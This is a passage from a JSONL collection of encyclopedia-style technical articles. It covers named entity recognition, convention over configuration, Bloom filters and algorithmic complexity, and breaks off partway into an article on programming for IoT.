single-token entity (W). An extension of this with more tags is called *BMEWO+*. Another scheme that's similar is called *BILOU*, where the letters stand for begin, inner, last, out and unit.These encoding schemes have different complexities. For N entities, IO, BIO and BMEWO have complexity of N+1, 2N+1 and 4N+1 tags respectively. \n\nWhile BIO has been a popular choice, more recent work has shown that BILOU outperforms BIO. spaCy supports IOB and BILUO schemes. \n\n\n### How do we evaluate algorithms for NER?\n\nRecall and precision are the basic metrics for evaluating NER models. **Recall** gives the ratio of correctly labelled entities to the total that should have been labelled. **Precision** is the ratio of correctly labelled entities to the total labelled. **F-measure** is a single metric that combines both recall and precision. \n\nOne caveat in using these metrics is the scope. In a real application, they have to be applied to actual named entities. Typical ML models optimize performance at the tag level, based on a particular encoding scheme. Performance at these two levels can be quite different. \n\nTagging details also matter. For example, in one study, training data did not include titles (Prime Minister, Pope, etc.) but Amazon Comprehend included these, thus leading to higher recall but lower precision. Different annotated datasets sometimes disagree about entities. For example, in \"Baltimore defeated the Yankees\", MUC-7 tags Balimore as LOC whereas CoNLL2003 tags it as ORG. \n\nCoNLL2003 and OntoNotes 5.0 are commonly used for training and evaluating models. AllenNLP used One Billion Word Benchmark. \n\n\n### What resources are available for research into NER?\n\nAs part of the GATE framework (University of Sheffield, UK) for text processing, ANNIE is an NER pipeline. Researchers can try out the online demo plus a free API. \n\ndisplaCy from Explosion is a useful visualization tool. Prodigy is an annotation tool for creating training data. NER is one of the supported tasks. A 2018 survey lists English NER datasets and tools. \n\nCloud providers also offer APIs for NER. Google's Natural Language API is an example. This API can also figure out the sentiments about the entities. An equivalent offering from Amazon is Amazon Comprehend. \n\nStanford NER is a Java implementation. It's also called *CRFClassifier* because it's based on linear chain CRF sequence model. Via Stanford CoreNLP, this can be invoked from other languages. \n\nMore generally, packages that support HMM, MEMM, or CRF can be used to train an NER model. Such support is available in Mallet, NTLK, and Stanford NER. A Scikit-Learn compatible package that's useful is `sklearn-crfsuite`. Polyglot is capable of doing NER for 40 different languages. \n\n## Milestones\n\nFeb  \n1991\n\nLisa Rau implements an algorithm to extract company names from financial news. It's a combination of heuristics, exception lists and extensive corpus analysis. In subsequent retrieval tasks, the algorithm also looks at most likely variations of names. In 1992, she files for a US patent, which is granted in 1994. \n\n1996\n\nThe term **Named Entity** is first used at the 6th Message Understanding Conference (MUC). The first MUC was held in 1987 with the aim of automating analysis of text messages in the military. While early MUC events focused on mainly template filling, MUC-6 looks at sub-tasks that would aid information extraction. It's in this context that named entities become relevant. SGML is used to markup entities. During 1996-2008, NER is talked about in MUC, CoNLL and ACE conferences. \n\n2003\n\nHammerton applies **Long Short-Term Memory (LSTM)** neural network to NER. He finds significantly better performance for German but a disappointing baseline performance for English. Words and their sequences are represented using SARDNET. The algorithm operates in two passes. In the first pass, information is gathered. In the second pass, the algorithm disambiguates and outputs the named entities. \n\n2008\n\nNER is dropped from international evaluation forums. In fact, by 2005, NER was considered a solved problem, with models achieving recall and precision exceeding 90%. However, the best score on ACE 2008 is only about 50%, which is significantly lower that the scores for MUC and CoNLL2003 tasks. This suggests that NER is not a solved problem. \n\nJun  \n2009\n\nRatinov and Roth address some design challenges for NER. They note that NER is knowledge intensive in nature. Therefore, they use 30 **gazetteers**, 16 of which are extracted from Wikipedia. In general, these are high-precision, low-recall lists. They are shown to be effective for webpages, where there's less contextual information. Expressive features and gazetteers enable unsupervised learning. They also note the BILOU encoding significantly outperforms BIO. \n\nJun  \n2011\n\nTweets have the problem of insufficient information. NER models trained on news articles also do poorly on tweets. This can be solved by domain adaptation or semi-supervised learning from lots of unlabelled data. Liu et al. approach this problem with a combination of **K-Nearest Neighbour (KNN) classifier** and **Conditional Random Field (CRF) labeller**. KNN captures global coarse evidence while CRF captures fine-grained information from a single tweet. The classifier is retrained based on recently labelled tweets. Gazetteers are also used. \n\nAug  \n2011\n\nTo avoid task-specific engineering and hand-crafted features, Collobert et al. propose a unified neural network approach that can perform part-of-speech tagging, chunking, named entity recognition, and semantic role labelling. The model learns representations from lots of unlabelled data. The best results for NER are obtained with **word embeddings** from a trained language model and optimizing for sentence-level log-likelihood. This work motivates other researchers towards neural networks in preference to hand-crafted features. \n\nJul  \n2015\n\nSantos and Guimarães extend the work of Collobert et al. by considering **character-level representations** using a convolutional layer. They note that \"word-level embeddings capture syntactic and semantic information, character-level embeddings capture morphological and shape information\". The use of both gives best results. \n\nAug  \n2015\n\nHuang et al. study the use of LSTM and CRF for sequence labelling. They find that **BiLSTM with a CRF layer** gives state-of-the-art results for POS tagging, chunking and NER. With BiLSTM, past (forward states) and future (backward states) features are used. CRF works at the sentence level to predict the current entity label based on past and future labels. This model shows good performance even when Collobert et al.'s word embedding is not used. For faster training, spelling and context features bypass the BiLSTM and go directly to the CRF layer. \n\n2016\n\nMa and Hovy achieve state-of-the-art F1 score of 91.21 for NER on CoNLL 2003 dataset. Their approach requires no feature engineering or specific data pre-processing. They use CNN to obtain character-level representations to capture morphological features such as prefixes and suffixes. GloVe word embeddings are used. Character embeddings are randomly initialized and then used to obtain character-level representations. Chiu and Nichols present a similar work that also uses word-level features. \n\nJul  \n2018\n\nGüngör et al. study NER for morphologically rich languages such as Turkish, Finnish, Czech and Spanish. Word morphology is important for these languages. This is in contrast to English that gets useful information from syntax and word n-grams. They therefore propose a model that uses **morphological embedding**. This is combined with character-based and word embeddings. Both character-based and morphological embeddings are derived using separate BiLSTMs. \n\nJul  \n2019\n\nFrancis et al. make use of BERT language model for **transfer learning** in NER. For fine tuning, either softmax or CRF layer is used. They find BERT representations perform best in combination with character-level representation and word embeddings. Without BERT, they also show competitive performance when character-level representation and word embeddings are gated via an attention layer. \n\nDec  \n2019\n\nYan et al. note that the traditional transformer architecture is not quite as good for NER as it is for other NLP tasks. They customize transformer architecture and achieve state-of-the-art results, beating prevailing BiLSTM models. They call it **Transformer Encoder for NER (TENER)**. While traditional transformer uses position embedding, directionality is lost. TENER uses relative position encoding to capture distance and direction. Smoothing and scaling of traditional transformer is seen to attend to noisy information. TENER therefore uses sharp unscaled attention.","meta":{"title":"Named Entity Recognition","href":"named-entity-recognition"}}
{"text":"# Convention over Configuration\n\n## Summary\n\n\nIt's often necessary to configure a software project correctly before it can be used. For example, the IDE or the build tool should know where to find the source files. It should know where to look for dependencies or save the output of a build. In web applications, it should know how to connect URL paths to application logic, and database tables and columns. \n\nIn a **configuration** approach, all this information is supplied via configuration files, often as XML/YAML/JSON files. However, writing and maintaining these files can be tedious. In a **convention** approach, reasonable defaults are used. The conventions are well defined. Once developers learn and use these conventions, they can focus on more important tasks instead of maintaining configuration files. \n\nMany frameworks have adopted Convention over Configuration (CoC) while also giving developers means to override the defaults.\n\n## Discussion\n\n### Could you explain convention over configuration with some examples?\n\nIn ASP.NET MVC, the convention is to have the folders `Controllers`, `Models` and `Views`. Accessing the homepage routes to `HomeController` class in file `Controllers/HomeController.cs` where the `Index()` method is called. This method returns a view that's in file `Views/Home/Index.cshtml`. All this \"magic\" happens due to conventions on folder structure and naming. No configuration files are needed to tell the framework how all these parts are \"wired together\". \n\nIn a Java project built with Gradle, with a single line of code we can apply the Java plugin to this project. Gradle then automatically looks for source code in `/src/main/java`. It creates a `/build` folder where the compiled class and JAR files are saved. This is all by convention. We don't have to tell Gradle these mundane details via configuration files. \n\nIn *pytest*, a Python-based test framework, test cases are automatically discovered. The framework looks at the current directory for `test_*.py` or `*_test.py` files. In those files, it picks out functions or methods with prefix `test`. For methods, it picks out classes with prefix `Test`. \n\n\n### In what aspects of software is convention over configuration applicable?\n\nIn Ruby on Rails, CoC can be seen in many areas within its **Model-View-Controller architecture**. Model class names are derived from database table names. Class attributes are based on database column names. View filenames and templates are based on controller action names. A web URL is mapped to controller class by CoC. \n\nMany other **design patterns** benefit from CoC. By implementing an ASP.NET interface according to a defined convention, we can easily create a message handler without any further configuration. To support dependency injection, many frameworks adopt CoC to greatly simplify wiring of dependencies. \n\n**Build systems** such as Maven make use of CoC. For example, paths to source code, resources, tests and many others are specified by defaults. Maven's core plugins also apply defaults for \"compiling source code, packaging distributions, generating web sites, and many other processes\". \n\nAPI endpoints designed by different developers can look and behave differently. By adopting CoC, **APIs** become more standardized and simpler to use. JSON-API is an example that specifies shared conventions. \n\nIn **test frameworks** such as *pytest*, conventions are used to discover test cases. \n\n\n### What are the benefits of convention over configuration?\n\nCoC frees developers from making mundane decisions, such as whether to name a database column `id`, `postId`, `posts_id` or `pid`. Developers can focus on application logic or develop deeper abstractions. CoC makes it easier for beginners to get productive without having to read a lot of the existing codebase. It's easier to collaborate since developers follow the same conventions.  \n\nWhen applied to design patterns (such as dependency injection), CoC makes code less verbose, more readable, and more maintainable. Code that does only \"housekeeping\" can be eliminated. Ultimately, CoC lets developers focus on delivering functionality rather than deal with low-level infrastructure. \n\nOften adding new functionality is easier. There's no need to update configuration files. Conventions either at the language level or framework level take care of the \"wiring\". \n\nThe CoC philosophy can be extended to engineering disciplines. An example is model-driven engineering (MDE). The idea is to abstract away low-level details so that developers can focus on higher-level design and implementation decisions. Code generators can use conventions to generate low-level code. \n\n\n### Which are some frameworks that adopt convention over configuration?\n\nAmong MVC web frameworks that adopt CoC are Ruby of Rails, ASP.NET MVC, CakePHP, Laravel, Symfony, Yii, Grails, Ember.js, Meteor, Nest.js, and Spring Framework. \n\nAmong build systems using CoC are Maven and Gradle. \n\n\n### What are some criticisms of convention over configuration?\n\nFrameworks that adopted CoC are called **opinionated**. One common criticism is that you're forced to follow a convention you may not like. However, frameworks often allow developers to customize. \n\nToo much convention leads to confusion and a steeper learning curve. Too little convention gives more freedom but at the cost of complexity. The key is therefore to achieve the right level of convention. \n\nUnless you know the framework well, reviewing other people's code is harder; and searching through files won't help. For example, finding out how a URL maps to a controller or a view can be challenging. For beginners, the code may not be obvious. As a solution, it's better to limit CoC to conventions that are commonly understood and frequently used. If you override conventions, document them explicitly. \n\nCoC can lead to unexpected behaviour. For example, ASP.NET finds classes inherited from a base Controller class. If the project references an assembly that has controllers, we may unknowingly expose those endpoints. This is one instance why some prefer explicit configuration, such as in Python and Django. \n\n## Milestones\n\n2005\n\nFirst version of **Ruby on Rails** is released. Convention over configuration is one of the pillars of Ruby on Rails. It brings \"default structures for web pages, databases, and web services\". Inspired by this, Sensio Framework is launched as a PHP MVC framework that adopts CoC. This is later renamed to **Symfony**. \n\nMay  \n2006\n\n**Enterprise JavaBeans (EJB) 3.0** is released. To overcome the complexity of earlier releases, EJB 3.0 adopts CoC by way of annotations. \n\n2009\n\nMicrosoft releases the first version of **ASP.NET MVC**. Although ASP.NET itself started in 2002 and the MVC pattern was common by 2003, ASP.NET MVC formalizes it. ASP.NET MVC adopts CoC, taking inspiration from Ruby on Rails. It's in response to declarative XML configuration that's being overused. \n\nMay  \n2010\n\nJimmy Bogard releases v1.0 of **AutoMapper** that's described as \"a convention-based object-object mapper in .NET\".","meta":{"title":"Convention over Configuration","href":"convention-over-configuration"}}
{"text":"# Bloom Filter\n\n## Summary\n\n\nGiven a set of elements, suppose we wish to know if a particular element is present in this set. There are many searching algorithms to do this. When faced with a huge set (millions of elements), even with an efficient search algorithm, storage is a problem. There's also latency due to disk access. Bloom filter is one possible solution.\n\nBloom filter is a data structure that stores the original set in a more compact form with support for **set membership queries**, that is, to query if an element is a member of the set. Bloom filter is a **space-efficient probabilistic data structure**. \n\nWith the rise of big data since the mid-2000s, there's been increased interest in Bloom filter. From the original Bloom filter (1970), many variants have been proposed for a diverse range of applications.\n\n## Discussion\n\n### Could you explain the Bloom filter with an example?\n\nA Bloom filter is simply a **bit array** of length \\(m\\) for storing elements of set \\(S=\\{x\\_1,x\\_2,\\ldots,x\\_n\\}\\). The filter starts with all zeros, meaning that the set is empty. When an element is added, it is hashed using \\(k\\) **independent hash functions**. Each function will output a bit position in the filter, which is then set to one. Thus, each element will set \\(k\\) bits of the filter. \n\nWhen a query is made, the queried element is put through the \\(k\\) hash functions. The resulting bit positions are checked in the filter. If at least one of these is a zero, we're certain that the element is not in the set. If all bits are ones, then it *may be* in the set. Thus, the filter is probabilistic. The reason it's probabilistic is that a query may check against bit positions set by more than one stored element. \n\nIn the figure, we can say that \\(x\\_4\\) is definitely not in S but \\(x\\_1\\) (*true positive*) and \\(x\\_5\\) (*false positive*) are most probably in S. \n\n\n### Under what conditions can I use the Bloom filter?\n\nSuppose the records of a large database table are stored on disk and need to be queried. To avoid slow disk access, a Bloom filter representation of the data is kept in fast memory. If the Bloom filter says that a record is absent, we're sure that it's absent and avoid disk access. If the Bloom filter says the record is present, we're not sure. We need to query the database to find out. **False positive** is when the filter says something is present when it's not. False positives should be at a level acceptable to the application. When most queried records are absent in the database, Bloom filter gives performance gains. \n\nBack in 2003, Broder and Mitzenmacher stated the *Bloom filter principle*, \n\n> Wherever a list or set is used, and space is at a premium, consider using a Bloom filter if the effect of false positives can be mitigated.\n\nMultiple elements can set the same bit in the filter. Therefore, elements once added can't be removed from the filter. Neither can we obtain the list of elements added. Standard Bloom filter is not suited for applications that need these features.  \n\n\n### How do I select the parameters of the Bloom filter?\n\nThere are essentially three parameters: filter size \\(m\\), number of hash functions \\(k\\) and number of elements to be stored \\(n\\).\n\nFor lower false positives, use higher values of \\(m\\) and \\(k\\) with a tradeoff. Higher \\(m\\) means more memory consumption. Higher \\(k\\) means more computation. Since higher \\(k\\) sets more bits, there's an optimal value \\(k\\_{opt}\\) beyond which false positives start to increase. \n\nWhen adding elements beyond the design limit, false positives go up. To achieve a fixed false positive probability, we should linearly scale \\(m\\) as \\(n\\) increases. In fact, the bit-to-element ratio is bounded as \\(m/n\\geqslant1/ln(2)\\). \n\nIn practice, we estimate \\(n\\) in advance for our application. We decide on the false positive probability we're willing to tolerate. We select \\(m\\) and calculate \\(k\\), or select \\(k\\) and calculate \\(m\\). A handy calculator is available online. \n\nIf parameters are not chosen correctly, an attacker can corrupt the filter with well-chosen inputs. \n\n\n### Which hash functions are suitable for use in a Bloom filter?\n\nHash functions should ideally be independent, meaning that for the same input they set different bits of the filter. Otherwise, hash collisions become more common, leading to higher false positives. Functions should also distribute the input space uniformly. \n\nHash functions should be fast. The use of cryptographic hash functions is possible but not really required. Among the non-cryptographic hash functions suited for Bloom filter are MurmurHash, Fowler–Noll–Vo (FNV) and Jenkins. One developer showed how replacing MD5 with MurmurHash brought performance improvements. \n\nIt's possible to generate \\(k\\) hash functions from just two hash functions. One researcher pointed out that if the filter size is 32 bits, on a 64-bit machine a single hash function can give two 32-bit hash values, thus simulating two hash functions. \n\n\n### Which are some real-world applications of the Bloom filter?\n\nFor network-related applications, Bloom filter is used to collaborate in peer-to-peer networks, resource routing, packet routing, and measurements. Content Delivery Networks (CDNs) use Bloom filters to avoid caching files seen only once. \n\nFor applications that use databases, Bloom filter enables efficient searches, privacy preservation, content synchronization, and duplicate detection. \n\nMedium uses Bloom filter to deduplicate recommendations. In a streaming application processing 17 million events per day per partition, Bloom filter was used to deduplicate events at scale. The filter needed 108Gb across 1024 partitions. Reads and writes were 20x and 3x faster respectively. \n\nChrome browser uses the filter to represent a set of malicious URLs. When user requests a URL, if the filter indicates a probable match, the request is sent to a server to check if the URL is indeed safe. \n\nIn a web application, Bloom filters could be used to keep count of visitors coming from a specific city accessing a webpage. \n\n\n### How's the performance of the Bloom filter?\n\nA Bloom filter with one hash function is equivalent to ordinary hashing. Bloom filter is a generalization of hashing. It allows for more interesting design tradeoffs. \n\nThe complexity to add an element or to query the filter is fixed at \\(O(k)\\). In other words, it's independent of how many items have been added to the filter. \n\nBloom filter simplifies some operations. Suppose we have two filters to represents sets \\(S\\_1\\) and \\(S\\_2\\). The union of the these two sets is simply an OR operation of the two filters. Intersection of the two sets can also be approximated with the filters. Another trick is to half the size of the filter with an OR operation of the first and second halves of the filter. \n\n\n### What are some variants of the Bloom filter?\n\nBloom filter has inspired dozens of variants. One survey paper from 2019 mentioned more than 60 variants, their capabilities, performance and application areas. A variant might aim to reduce false positives, improve performance or provide additional features. \n\n**Counting Bloom filter** allows us to implement a multiset so that multiple instances of the same element can be stored. Some of these support deletions as well but at the cost of false negatives. Bitwise Bloom filter and spectral Bloom filter improve on the counting Bloom filter. \n\nWhen elements are added to a filter beyond it's designed capacity, false positives increase. **Scalable Bloom filter** allows us to grow the filter size as more items are added. \n\nWhen filters have to be exchanged over a network (such as in web caching applications), **Compressed Bloom filter** saves on network bandwidth. By choosing the hash functions and thereby changing the way bits are distributed in the filter, better compression is achieved. \n\n\n### Could you mention some useful resources on the Bloom filter?\n\nSurvey paper by Luo et al. (2019) is worth reading. Jason Davies has published online an interactive visualization of the Bloom filter. JavaScript code for this is also available.\n\nC++ library libbf contains implementations of the Bloom filter and some of its variants. \n\n A Java implementation of the filter (and other probabilistic data structures) can be found within stream-lib. Guava library in Java also has an implementation. \n\nPackages offering the filter are available in Python as well as in Node.js. \n\n## Milestones\n\n1965\n\nIn the construction of a symbol table in compiler design, Batson describes a method that does faster search for symbols. Rather than do a slow linear lookup, an arithmetic transformation is done on the symbol. The result gives the address where the symbol will be stored (or retrieved) in the table. The term **hashing** becomes common by late 1960s for this sort of transformation on the input. \n\n1970\n\nBurton H. Bloom publishes a paper titled *Space/Time Trade-offs in Hash Coding with Allowable Errors*. In conventional hash-coding methods, many lookups are needed when an element doesn't belong to the set. He therefore proposes a novel method to reduce the *reject time*, time taken to declare that an element is a non-member of the set. To allow for smaller hash area, he accepts some fraction of errors. With smaller hash area, hashes can be stored in core memory for faster access. \n\n2000\n\nFan et al. propose the **Counting Bloom Filter** in the context web proxy caching. Since caches have to be updated, they find it necessary to keep a count of how many times a bit position in the filter has been set. They propose 4 bits per filter bit while keeping false negatives low. When a request comes in, the proxy checks its own cache. If absent, it checks the Bloom filters of participating proxies. Based on the result, it decides whether to query another proxy. Bloom filters are updated among proxies based on defined thresholds. \n\n2004\n\nShanmugasundaram et al. propose the **Hierarchical Bloom Filter** to address the problem of substring matching. In addition to the substrings, the filter also stores concatenation of substrings, thus creating an hierarchy. It's applied in the context of IP traffic to attribute payloads to source and destination hosts. \n\n2006\n\nBorrowing from standard hashing, Kirsch and Mitzenmacher propose how to simulate multiple hash functions for the Bloom filter from just two independent uniform random hash functions. Their \\(k\\) hash functions are of the form \\(g\\_i(x) = h\\_1(x) + i \\cdot h\\_2(x)\\,mod\\,p\\), for \\(i\\) in range \\([0,k-1]\\) and where \\(p\\) is prime, the filter has \\(kp\\) bits and each function has range \\([0,p-1]\\). \n\n2007\n\nAlmeida et al propose the **Scalable Bloom Filter**. Sometimes it's difficult to estimate upfront the maximum number of elements that need to be stored in a Bloom filter. Designers therefore tend to waste space by overestimating, sometimes by orders of magnitude. By allowing the filter size to scale dynamically, the scalable Bloom filter guarantees that false positives don't exceed a defined design threshold. It's parameterized by initial size, error probability, growth rate and error probability tightening rate. \n\n2008\n\nBose et al. observe that the original analysis of false positive rate by Bloom and others is not exact. The give an exact formula for the false positive rate plus lower and upper bounds. The rate is slightly larger than originally calculated but the difference is negligible for large \\(m\\) and small \\(k\\). \n\n2019\n\nRae et al. propose the **Neural Bloom Filter** that uses an artificial neural network with one-shot meta-learning. Softmax is computed on content-based attention between the query *q* and a learned address matrix *A*. Thus the network learns where to store elements based on their content. This is more space efficient but at the cost of performance for a single query. It outperforms standard Bloom filter on batch queries parallelized on GPUs.","meta":{"title":"Bloom Filter","href":"bloom-filter"}}
{"text":"# Algorithmic Complexity\n\n## Summary\n\n\nAlgorithmic complexity is a measure of how long an algorithm would take to complete given an input of size n. If an algorithm has to scale, it should compute the result within a finite and practical time bound even for large values of n. For this reason, complexity is calculated asymptotically as n approaches infinity. While complexity is usually in terms of time, sometimes complexity is also analyzed in terms of space, which translates to the algorithm's memory requirements. \n\nAnalysis of an algorithm's complexity is helpful when comparing algorithms or seeking improvements. Algorithmic complexity falls within a branch of theoretical computer science called computational complexity theory. It's important to note that we're concerned about the order of an algorithm's complexity, not the actual execution time in terms of milliseconds.\n\nAlgorithmic complexity is also called *complexity* or *running time*.\n\n## Discussion\n\n### Can you give real-world examples of various algorithmic complexities?\n\nSuppose you're looking for a specific item in a long unsorted list, you'll probably compare with each item. Search time is proportional to the list size. Here complexity is said to be *linear*. \n\nOn the other hand, if you search for a word in a dictionary, the search will be faster because the words are in sorted order, you know the order and can quickly decide if you need to turn to earlier pages or later pages. This is an example of *logarithmic* complexity. \n\nIf you're asked to pick out the first word in a dictionary, this operation is of *constant* time complexity, regardless of number of words in the dictionary. Likewise, joining the end of a queue in a bank is of constant complexity regardless of how long the queue is. \n\nSuppose you are given an unsorted list and asked to find all duplicates, then the complexity becomes *quadratic*. Checking for duplicates for one item is of linear complexity. If we do this for all items, complexity becomes quadratic. Similarly, if all people in a room are asked to shake hands with every other person, the complexity is quadratic. \n\n\n### What notations are used to represent algorithmic complexity?\n\n*Big-O notation* is the prevalent notation to represent algorithmic complexity. It gives an upper bound on complexity and hence it signifies the worst-case performance of the algorithm. With such a notation, it's easy to compare different algorithms because the notation tells clearly how the algorithm scales when input size increases. This is often called the *order of growth*.\n\nConstant runtime is represented by \\(O(1)\\); linear growth is \\(O(n)\\); logarithmic growth is \\(O(log\\,n)\\); log-linear growth is \\(O(n\\,log\\,n)\\); quadratic growth is \\(O(n^2)\\); exponential growth is \\(O(2^n)\\); factorial growth is \\(O(n!)\\). Their orders of growth can also be compared from best to worst: \n\n\\(O(1) < O(log\\,n) < O(\\sqrt{n}) < O(n) < O(n\\,log\\,n) < \\\\ O(n^2) < O(n^3) < O(2^n) < O(10^n) < O(n!)\\)\n\nIn complexity analysis, only the dominant term is retained. For example, if an algorithm requires \\(2n^3+log\\,n+4\\) operations, its order is said to be \\(O(n^3)\\) since \\(2n^3\\) is the dominant term. Constants and scaling factors are ignored since we are concerned only about asymptotic.\n\nAudrey Nasar gives formal definitions of Big-O. Wikipedia lists orders of common functions. \n\n\n### What does it mean to state best-case, worst-case and average time complexity of algorithms?\n\nLet's take the example of searching for an item sequentially within a list of unsorted items. If we're lucky, the item may occur at the start of the list. If we're unlucky, it may be the last item in the list. The former is called *best-case complexity* and the latter is called *worst-case complexity*. If the searched item is always the first one, then complexity is \\(O(1)\\); if it's always the last one, then complexity is \\(O(n)\\). We can also calculate the *average complexity*, which will turn out to be \\(O(n)\\). The term \"complexity\" normally refers to worst-case complexity. \n\nMathematically, different notations are defined (example is for linear complexity): \n\n    + Worst-case or upper bound: Big-O: \\(O(n)\\)\n    + Best-case or lower bound: Big-Omega: \\(\\Omega(n)\\)\n    + Average-case: Big-Theta: \\(\\Theta(n)\\)\n    + Non-tight upper bound: \\(o(n)\\)\n    + Non-tight lower bound: \\(\\omega(n)\\)When upper or lower bounds don't coincide with average complexity, we can call them non-tight bounds. \n\nAs an example, Quicksort's complexity is \\(\\Omega(n\\,log\\,n)\\), \\(\\Theta(n\\,log\\,n)\\) and \\(O(n^2)\\). \n\nThere's also *amortized complexity* in which complexity is calculated by averaging over a sequence of operations. \n\n\n### Why should we care about an algorithm's performance when processors are getting faster and memories are getting cheaper?\n\nComplexity analysis doesn't concern itself with actual execution time, which depends on processor speed, instruction set, disk speed, compiler, etc. Likewise, the same algorithm written in assembly will run faster than in Python. Programming languages, hardware and memories are external factors. Complexity is about the algorithm itself, the way it processes the data to solve a given problem. It's a software design concern at the \"idea level\". \n\nIt's possible to have an inefficient algorithm that's executed on high-end hardware to give a result quickly. However, with large input datasets, the limitations of the hardware will become apparent. Thus, it's desirable to optimize the algorithm first before thinking about hardware upgrades.\n\nSuppose your computer can process 10,000 operations/sec. An algorithm of order \\(O(n^4)\\) would take 1 sec to process 10 items but more than 3 years to process 1,000 items. Comparatively, a more efficient algorithm of order \\(O(n^2)\\) would take only 100 secs for 1,000 items. With even larger inputs, better hardware cannot compensate for algorithmic inefficiency. It's for this reason algorithmic complexity is defined in terms of asymptotic behaviour.\n\n\n### Are there techniques to figure out the complexity of algorithms?\n\nInstead of looking for exact execution times, we should evaluate the number of high-level instructions in relation to the input size. \n\nA single loop that iterates through the input is linear. If there's a loop within a loop, with each loop iterating through the input, then the algorithm is quadratic. It doesn't matter if the loops process only alternative items or skip a fixed number of items. Let's recall that complexity ignores constants and scaling factors. Likewise, a loop within a loop, followed by another loop, is quadratic, since we need to consider only the dominant term. \n\nA recursive function that calls itself n times is linear, provided other operations within the function don't depend on input size. However, a recursive implementation of Fibonacci series is exponential. \n\nA search algorithm that partitions the input into two parts and discards one of them at each iteration, is logarithmic. An algorithm such as Mergesort that partitions the input into halves at each iteration, plus does a merge operation in linear time at each iteration, has a log-linear complexity. \n\n\n### If an algorithm is inefficient, does that mean that we can't use it?\n\nPolynomial complexity algorithms of order \\(O(n^c)\\), for c > 1, may be acceptable. They can be used for inputs up to thousands of items. Anything exponential can probably work for only inputs less than 20. \n\nAlgorithms such as Quicksort that have complexity of \\(O(n^2)\\) rarely experience worst-case inputs and often obey \\(\\Theta(n\\,log\\,n)\\) in practice. In some case, we can preprocess the input so that worst-case scenarios don't occur. Likewise, we can go with sub-optimal solutions so that complexity is reduced to polynomial time. \n\nIn practice, a linear algorithm can perform worse than a quadratic one if large constants are involved and n is comparable to these constants. It's also important to analyze every operation of an algorithm to ensure that non-trivial operations are not hidden or abstracted away within libraries. \n\n\n### Since algorithmic complexity is about algorithms, is it relevant to talk about data structures?\n\nData structures only store data but the algorithmic complexity comes into consideration when we operate on them. Operations such as insertion, deletion, searching and indexing need to be analyzed. The intent is to choose the right data structures so that complexity is reduced.\n\nFor example, accessing an array by index has constant complexity whereas the same operation with a linked list has linear complexity. Searching by key in a hash table incurs constant average complexity but this operation is linear with stacks, queues, arrays and linked list. A more detailed discussion on what data structures to use is given by Svetlin Nokav and others. \n\n\n### Can you state the complexity of well-known sorting algorithms?\n\nThe simplest sorting algorithm is probably Bubblesort but it's quadratic in the average case and hence not efficient. Better alternatives are those with log-linear complexity: Quicksort, Mergesort, Heapsort, etc. If the list is already sorted, the best-case complexity occurs with Bubblesort, Timsort, Insertionsort and Cubesort, all completing in linear time. \n\nIt's been noted that best and worst cases rarely occur. The average case is based on an input distribution model that could be a random sample as well. Analysis of these averages or abstract basic operations can help us pick the best suited algorithm for a specific problem. \n\n\n### Can you give the complexity of some important algorithms?\n\nHere's a selection: \n\n    + Fast Fourier Transform: \\(O(n\\,log\\,n)\\)\n    + Multiply two n-digit numbers using Karatsuba algorithm: \\(O(n^{1.59})\\)\n    + Matrix multiplication due to Coppersmith and Winograd: \\(O(n^{2.496})\\)\n    + Prime recognition of an n-digit integer due to Adleman, Pomerance and Rumley: \\(n^{O(log\\,log\\,n)}\\)\n    + Gaussian elimination: \\(O(n^{3})\\) but \\(O(x^{2^n})\\) bit complexity of its operands\n    + GCD(a, b) by Euclid's algorithm: \\(O(log\\,(a+b))\\) but \\(O({(log\\,(a+b))}^2)\\) bit complexity when integers a and b are largeBit complexity matters when integers exceed the 64-bit machine capability. In these cases, when arbitrary precision is used, operations such as division and modulo arithmetic are no longer trivial and their complexity must be accounted for. From a theoretical perspective, this doesn't matter to computer scientists but it matters to programmers who have to work within machine limits.\n\n## Milestones\n\n1864\n\nCharles Babbage, while building his Analytical Engine, predicts the importance of studying the performance of algorithms. \n\n1894\n\nMathematician Paul Bachmann defines the **Big-O notation**. It originally meant \"order of\". Decades later, Donald Knuth calls it the capital omicron. \n\n1960\n\nThe **theory of computational complexity** is born in the 1960s. This is also the decade when problems that can't be solved in polynomial time (NP problems) are recognized. \n\n1975\n\nTarjan makes the case that when designing data structures, focusing on worst case running time is less important than **amortized running time**, that is, performance averaged over operations on a long sequence of input. His later contributions include the splay tree (1980) and the Fibonacci heap, both achieving good amortized performance. \n\n1976\n\nDonald Knuth introduces new **notations** and clarifies the meaning of \\(O\\), \\(\\Omega\\) and \\(\\Theta\\). \n\n1998\n\nR. Libeskin-Hadas introduces the term **oblivious algorithm** that's applied to an algorithm whose complexity is independent of the input structure. In other words, the best-case, worst-case and average complexity of the algorithm are all the same.","meta":{"title":"Algorithmic Complexity","href":"algorithmic-complexity"}}
{"text":"# Programming for IoT\n\n## Summary\n\n\nProgramming for IoT is usually a polyglot (multiple languages) effort since the Internet-of-Things (IoT) is a system of inter-related computing devices that are provided with unique identifiers and the ability to transfer data over a network. The choice of programming-language depends on the capability and purpose of the device. IoT encompasses a variety of devices including edge devices, gateways, and cloud servers.\n\n## Discussion\n\n### What are the popular languages for IOT?\n\nThe most popular languages in IoT are **Java, C, C++, Python, Javascript, Node.js, Assembler, PHP, C#, Lua, R, Go, Ruby, Swift and Rust** in descending order of popularity. This is from a 2017 online survey co-sponsored by Eclipse IoT Working Group, IEEE IoT, AGILE IoT and IoT Council in which 713 individuals participated.  \n\nOther languages include **Parasail, Microsoft P, Eclipse Mita, Kotlin, Dart, MicroPython, and B#**. \n\n\n### Which languages are suitable for edge devices, gateways and cloud computing?\n\n \n\n    + **Edge Devices** - These are constrained-resource embedded systems. For very small devices (higher constraints), **Assembly and C** are the languages of choice. A better processor and more computing power on the device enables one to use **C, Python, Node.js, Java**. The focus is to minimize instruction count, and maximize execution speed and resource management.\n    + **Gateways** - Gateways manage communication and do analysis of data from many devices through several different buses. More languages can be run on these devices because of their increased computing power, including **C, C++, Java, Python, and Node.js**.\n    + **Cloud** - With the nearly unlimited computing capability that's available, frameworks like **Apache Hadoop** and **HiveQL** can compute and process large IOT datasets. Statistical computing and visualization can be done using languages like **R** or **Julia.**\n\n### What are the approaches used in IoT application development?\n\n    + **Node-Centric Programming** - Every aspect is programmed by the developer like communication between nodes, collection and analysis of sensor data, issuing commands to actuator nodes. Interaction between devices is explicitly encoded.\n    + **Database approach** - Every node is considered part of a database and the developer can issue queries to sensor nodes. Focus is on collection, aggregation and sending of data to the base station.\n    + **Macro programming** - Abstractions are provided to specify high-level communication.\n    + **Model-driven development** - Application development complexity is reduced by 